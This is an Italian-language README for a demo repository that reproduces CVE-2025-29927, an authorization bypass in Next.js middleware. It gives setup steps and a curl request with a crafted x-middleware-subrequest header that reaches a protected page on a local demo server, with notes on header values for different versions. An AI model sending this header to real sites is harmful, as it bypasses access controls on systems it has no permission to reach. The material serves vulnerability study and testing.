cve-2025-29927-demo

Questa è una demo che riproduce la vulnerabilità di bypass dell'autorizzazione in Next.js.

Per i dettagli sulla vulnerabilità, consulta Riepilogo della vulnerabilità CVE-2025-29927 di Next.js .

Metodo per riprodurre la vulnerabilità

1. Clona questo repository.

git clone https://github.com/t3tra-dev/cve-2025-29927-demo.git
cd cve-2025-29927-demo
git pull origin main

2. Avvia il server.

npm install
npm run dev

3. Invia una richiesta con l'intestazione x-middleware-subrequest usando curl o simili.

curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/protected

Ciò provoca un bypass dell'autorizzazione e consente di accedere alla pagina /protected.

Il valore di middleware è il nome del middleware riconosciuto da Next.js. In questa app demo, esiste un middleware chiamato middleware, quindi specificando questo valore si verifica il bypass dell'autorizzazione.

[!TIP] In Next.js 15.x, MAX_RECURSION_DEPTH è impostato a 5, quindi è necessario ripetere il valore del middleware 5 o più volte separandolo con :. Nelle versioni precedenti (14.x) era sufficiente semplicemente 'middleware'. Poiché questa app demo utilizza Next.js 15.2.2, è necessario questo tipo di valore.